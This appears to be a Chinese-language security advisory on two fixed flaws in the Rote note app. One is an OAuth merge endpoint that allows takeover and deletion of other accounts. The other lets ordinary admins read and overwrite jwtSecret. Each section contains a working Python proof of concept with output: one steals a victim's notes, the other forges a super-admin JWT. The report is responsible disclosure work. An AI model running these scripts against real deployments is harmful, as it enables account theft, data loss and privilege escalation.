Rote 漏洞报告

软件名称:Rote

开发者或厂商:Rabithua

代码仓库:https://github.com/Rabithua/Rote

1. OAuth 账户合并接口越权绑定他人第三方账号导致账户接管

简要描述:POST /v2/api/auth/oauth/:provider/bind/merge 不校验调用者是否拥有目标第三方账号,攻击者可借此把任意已绑定 OAuth 的账户合并进自己的账户,窃取其全部数据并删除该账户。
影响版本:v1.2.0 ~ v2.6.0
前置条件:攻击者拥有任意普通账号,目标账户已绑定 GitHub 或 Apple 账号。
修复:Rote commit 319b6eef

漏洞成因

Rote 支持把 GitHub 或 Apple 账号绑定到已有账户。当第三方账号已被其他 Rote 账户绑定时,前端会提示合并账户,用户确认后调用 POST /v2/api/auth/oauth/:provider/bind/merge。该接口的 existingUserId 与 providerUserId 完全来自请求体,相关代码如下:

// server/route/v2/oauth.ts:608-611    commit f7cc56ba4c
    const user = c.get('user') as User;
    const body = await c.req.json();
    const existingUserId = body.existingUserId;
    const providerUserId = body[`${providerName}UserId`];

后续校验只确认这两个参数在数据库中对应一条真实绑定:

// server/route/v2/oauth.ts:637-645    commit f7cc56ba4c
    // 3. 验证 existingUserId 对应的用户确实绑定了这个 OAuth ID
    const existingUser = await findUserByOAuthBinding(providerName, providerUserId);
    if (!existingUser) {
      throw new Error('Existing user not found or OAuth binding mismatch');
    }

    if (existingUser.id !== existingUserId) {
      throw new Error(`${providerName} ID mismatch`);
    }

整条校验链没有验证调用者对该第三方账号的所有权,第三方账号 ID 由攻击者任意指定。校验通过后服务端直接执行合并:

// server/route/v2/oauth.ts:658-659    commit f7cc56ba4c
    // 6. 执行账户合并(在事务内完成所有操作,包括 OAuth 绑定迁移)
    const mergeResult = await mergeUserAccounts(existingUserId, user.id);

mergeUserAccounts 把源账户的笔记、附件、API 密钥、推送订阅与 OAuth 绑定全部转入调用者名下,然后删除源账户:

// server/utils/dbMethods/userAccount.ts:493    commit f7cc56ba4c
        const deleteResult = await tx.delete(users).where(eq(users.id, sourceUserId)).returning();

攻击所需的两个 ID 都是公开信息。existingUserId 可从公开资料接口获得,GitHub 数字 ID 可从 https://api.github.com/users/<login> 获得。

复现环境搭建

用官方 docker-compose 部署:

mkdir rote && cd rote
curl -fsSL -o docker-compose.yml \
  https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml
cat > .env <<'EOF'
POSTGRES_PASSWORD=rotepass
VITE_API_BASE=http://127.0.0.1:18000
EOF
docker compose up -d

浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 victim 与 attacker(密码均为 Passw0rd12345.)。victim 登录后新建一条私密笔记,内容为 VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222:

victim 的私密笔记

victim 绑定 GitHub 账号 victimgh。实验环境无法连接真实 GitHub 时,直接写入等价的绑定记录,其中 12345 为 victimgh 的 GitHub 数字 ID:

docker compose exec rote-postgres psql -U rote -d rote -c \
  "INSERT INTO user_oauth_bindings (userid, provider, \"providerId\", \"providerUsername\")
   SELECT id, 'github', '12345', 'victimgh' FROM users WHERE username = 'victim';"

复现过程

attacker 登录后,从公开资料接口 GET /v2/api/users/victim 取得 victim 的 Rote 用户 id,从 https://api.github.com/users/victimgh 取得 GitHub 数字 ID。执行以下脚本发起合并:

import httpx

BASE = "http://127.0.0.1:18000"

client = httpx.Client(base_url=BASE, timeout=30)
r = client.post("/v2/api/auth/login", json={"username": "attacker", "password": "Passw0rd12345."})
token = r.json()["data"]["accessToken"]
headers = {"authorization": f"Bearer {token}"}

# victim 的 Rote 用户 id,取自公开资料接口
victim = client.get("/v2/api/users/victim").json()["data"]
print("victim id:", victim["id"])

# victim 绑定的 GitHub 数字 ID,取自 https://api.github.com/users/victimgh
github_id = "12345"

r = client.post(
    "/v2/api/auth/oauth/github/bind/merge",
    headers=headers,
    json={
        "existingUserId": victim["id"],
        "githubUserId": github_id,
        "githubUsername": "victimgh",
    },
)
print(r.status_code, r.json())

# 合并后以 attacker 的 token 读取笔记
notes = client.get("/v2/api/notes", headers=headers).json()["data"]
for note in notes:
    print(note["id"], note["content"])

输出如下:

victim id: 91510c52-9062-4416-aacd-cba5396b6df2
200 {'code': 0, 'message': '账户合并成功,github 已绑定', 'data': {'merged': True, 'mergedData': {'notes': 1, 'attachments': 0, 'reactions': 0, 'openKeys': 0, 'subscriptions': 0, 'apnsDevices': 0, 'pushEvents': 0, 'changes': 1, 'aiConversations': 0}}}
9f6c5c7b-0387-4731-b190-5960c558eede VICTIM-PRIVATE-NOTE: bank account 6222-0000-1111-2222

attacker 的账户下已出现 victim 的私密笔记:

合并后 attacker 名下的 victim 笔记

victim 的账户已被删除,原密码无法登录:

victim 无法登录

登录接口返回:

{"code":1,"message":"User not found.","data":null}

2. 普通管理员可读取并改写 jwtSecret 提权为超级管理员

简要描述:/v2/api/admin/settings 允许普通管理员读取和改写包含 jwtSecret 在内的安全配置,攻击者可据此伪造超级管理员的 JWT token,把普通管理员账号提权为超级管理员。
影响版本:v1.0.0 ~ v2.6.0
前置条件:攻击者拥有 admin 角色账号。
修复:Rote commit 319b6eef

漏洞成因

Rote 的用户角色分 user、moderator、admin、super_admin 四级,修改用户角色等操作仅限 super_admin。配置接口却只要求 admin:

// server/route/v2/admin.ts:95    commit f7cc56ba4c
adminRouter.get('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => {

响应前只对 ai 分组脱敏,其余分组原样返回:

// server/route/v2/admin.ts:86-92    commit f7cc56ba4c
const sanitizeSettingsForAdmin = (configs: Record<string, any>) => {
  if (!configs.ai) return configs;
  return {
    ...configs,
    ai: sanitizeAiConfig(configs.ai),
  };
};

security 分组包含 jwtSecret、jwtRefreshSecret、sessionSecret、OAuth clientSecret 等密钥,普通管理员由此可以直接读到签名密钥。

PUT /v2/api/admin/settings 同样只要求 admin,对 security 分组也没有字段白名单,攻击者可以直接改写 jwtSecret。超级管理员校验只覆盖 system 分组:

// server/route/v2/admin.ts:126-146    commit f7cc56ba4c
adminRouter.put('/settings', authenticateJWT, requireAdmin, async (c: HonoContext) => {
  try {
    const body = await c.req.json();
    const { group } = body as { group: string; config: any };
    let { config } = body as { group: string; config: any };

    if (!group || !config) {
      return c.json(createResponse(null, 'Group and config are required'), 400);
    }

    // 验证分组是否有效
    const validGroups = ['site', 'storage', 'security', 'notification', 'ui', 'system', 'ai'];
    if (!validGroups.includes(group)) {
      return c.json(createResponse(null, 'Invalid configuration group'), 400);
    }

    // 对于系统配置,只允许超级管理员修改
    const user = c.get('user') as any;
    if (group === 'system' && user?.role !== 'super_admin') {
      return c.json(createResponse(null, 'Only super admin can modify system configuration'), 403);
    }

Access token 用 jwtSecret 做 HS256 签名:

// server/utils/jwt.ts:13-28    commit f7cc56ba4c
export async function generateAccessToken(payload: CustomJWTPayload): Promise<string> {
  // 动态获取配置
  const config = getGlobalConfig<SecurityConfig>('security');
  if (!config || !config.jwtSecret) {
    throw new Error('JWT is not configured. Please complete the security configuration first.');
  }

  const secret = new TextEncoder().encode(config.jwtSecret);
  const expiry = config.jwtAccessExpiry || '7d';

  return await new SignJWT(payload)
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setIssuer('rote-app')
    .setExpirationTime(expiry)
    .sign(secret);

鉴权中间件验签后直接取 token 中的 userId 加载用户。拿到 jwtSecret 就能为任意用户签发有效 token,其中也包括超级管理员。

复现环境搭建

用官方 docker-compose 部署:

mkdir rote && cd rote
curl -fsSL -o docker-compose.yml \
  https://raw.githubusercontent.com/Rabithua/Rote/f7cc56ba4c1d8632c4c4d2d12d6867fd0b4376ec/server/docker-compose.yml
cat > .env <<'EOF'
POSTGRES_PASSWORD=rotepass
VITE_API_BASE=http://127.0.0.1:18000
EOF
docker compose up -d

浏览器打开 http://127.0.0.1:18001 按向导完成初始化,创建超级管理员 rootadmin(密码 Admin12345.),注册普通账号 sysadmin(密码 Passw0rd12345.)。管理后台的用户列表不提供角色修改入口,给 sysadmin 授予 admin 角色:

docker compose exec rote-postgres psql -U rote -d rote -c \
  "UPDATE users SET role = 'admin' WHERE username = 'sysadmin';"

复现过程

sysadmin 登录后可以进入管理后台:

sysadmin 的管理后台

用户列表显示 sysadmin 的角色为 admin:

提权前的用户列表

执行以下脚本,读取 jwtSecret,伪造 rootadmin 的 token,并用它调用仅限 super_admin 的角色修改接口:

import base64, hashlib, hmac, json, time
import httpx

BASE = "http://127.0.0.1:18000"
client = httpx.Client(base_url=BASE, timeout=30)

# admin 账号登录
r = client.post("/v2/api/auth/login", json={"username": "sysadmin", "password": "Passw0rd12345."})
admin_token = r.json()["data"]["accessToken"]
admin_headers = {"authorization": f"Bearer {admin_token}"}

# 读取 security 配置,其中包含 jwtSecret
cfg = client.get("/v2/api/admin/settings", headers=admin_headers,
                 params={"group": "security"}).json()["data"]["config"]
print("jwtSecret leaked:", cfg["jwtSecret"])

# 超级管理员的用户 id
users = client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"]
root = [u for u in users if u["username"] == "rootadmin"][0]
me = [u for u in users if u["username"] == "sysadmin"][0]

# 用泄露的 jwtSecret 伪造 rootadmin 的 access token
def b64(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=")

header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
payload = b64(json.dumps({
    "userId": root["id"], "username": root["username"],
    "iat": int(time.time()), "iss": "rote-app", "exp": int(time.time()) + 86400,
}, separators=(",", ":")).encode())
sig = b64(hmac.new(cfg["jwtSecret"].encode(), header + b"." + payload, hashlib.sha256).digest())
forged = (header + b"." + payload + b"." + sig).decode()
print("forged token accepted:",
      client.get("/v2/api/admin/settings",
                 headers={"authorization": f"Bearer {forged}"}).status_code)

# 用伪造的 token 把 sysadmin 提升为 super_admin
r = client.put(f"/v2/api/admin/users/{me['id']}/role",
               headers={"authorization": f"Bearer {forged}"},
               json={"role": "super_admin"})
print("role change:", r.status_code, r.json()["message"])

# 查看 sysadmin 当前角色
print("sysadmin role now:",
      [u["role"] for u in client.get("/v2/api/admin/users", headers=admin_headers).json()["data"]["users"]
       if u["username"] == "sysadmin"][0])

输出如下:

jwtSecret leaked: dosFsiV1CopF6jKtoxfaFgwIsFsqeBPgE5pBjQ6uQZ7l8wkxY9dqzN0lwm7oOSmQMoN45VWmrCgY4nuQl2bLsw==
forged token accepted: 200
role change: 200 User role updated successfully
sysadmin role now: super_admin

回到管理后台刷新,sysadmin 的角色已变为 super_admin:

提权后的用户列表